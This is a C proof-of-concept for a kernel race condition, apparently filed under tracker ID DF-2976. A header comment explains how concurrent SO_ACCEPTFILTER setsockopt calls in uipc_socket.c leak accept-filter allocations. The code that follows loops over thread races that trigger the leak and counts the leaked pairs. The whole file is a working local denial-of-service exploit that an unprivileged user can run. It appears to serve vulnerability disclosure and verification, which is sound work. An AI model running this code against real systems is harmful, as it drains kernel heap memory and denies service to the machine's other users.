DF-2976 / race_attach.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-2976 - unprivileged SO_ACCEPTFILTER duplicate-attach race. * * sys/kern/uipc_socket.c do_setopt_accept_filter() reads so->so_accf ONCE at * function entry (line 1999), re-checks it at line 2026, then performs TWO * sleepable (M_WAITOK) allocations inside the check-to-store window * (lines 2031, 2042) before publishing `so->so_accf = af` (line 2061). * No lock is held: kern_setsockopt() calls sosetopt() directly on the * syscall thread (uipc_syscalls.c:1230). * * Two threads sharing a listener fd both observe af == NULL, both attach, * the second store overwrites the first `struct so_accf` + its * so_accept_filter_str -- both M_ACCF -- which are never freed (the socket * keeps only the last pointer; freed only via sodealloc for the CURRENT one). * Each race win leaks 1 x so_accf (24 bytes) + 1 x name string (~16 bytes). * * Repeatable by an unprivileged user => unbounded kernel heap exhaustion. * * Output: how many iterations had >=2 threads return success (each such * iteration == one leaked pair). Cross-check with `vmstat -m | grep accf`. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <pthread.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <stdint.h> #ifndef SO_ACCEPTFILTER #define SO_ACCEPTFILTER 0x1000 #endif /* struct accept_filter_arg comes from <sys/socket.h> (__BSD_VISIBLE) */ static volatile int go; static void *worker(void *arg) { intptr_t fd = (intptr_t)arg; struct accept_filter_arg afa; memset(&afa, 0, sizeof(afa)); strcpy(afa.af_name, "httpready"); while (!go) usleep(50); if (setsockopt((int)fd, SOL_SOCKET, SO_ACCEPTFILTER, &afa, sizeof(afa)) == 0) return (void *)1; return (void *)0; } int main(int argc, char **argv) { int iterations = argc > 1 ? atoi(argv[1]) : 2000; int nthreads = argc > 2 ? atoi(argv[2]) : 4; int it, both = 0, single = 0, none = 0; if (nthreads > 16) nthreads = 16; for (it = 0; it < iterations; it++) { struct sockaddr_in sa; pthread_t th[16]; int fd, i, zeros = 0; fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { perror("socket"); return 1; } memset(&sa, 0, sizeof(sa)); #ifdef HAVE_SIN_LEN sa.sin_len = sizeof(sa); #endif sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = 0; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; } if (listen(fd, 4) < 0) { perror("listen"); return 1; } go = 0; for (i = 0; i < nthreads; i++) pthread_create(&th[i], NULL, worker, (void *)(intptr_t)fd); go = 1; for (i = 0; i < nthreads; i++) { void *rv = NULL; pthread_join(th[i], &rv); if ((intptr_t)rv == 1) zeros++; } if (zeros >= 2) both++; else if (zeros == 1) single++; else none++; close(fd); } printf("iterations=%d threads=%d\n", iterations, nthreads); printf("iterations with >=2 attach successes (leaked so_accf+str): %d\n", both); printf("iterations with exactly 1 success: %d\n", single); printf("iterations with 0 successes: %d\n", none); return 0; } |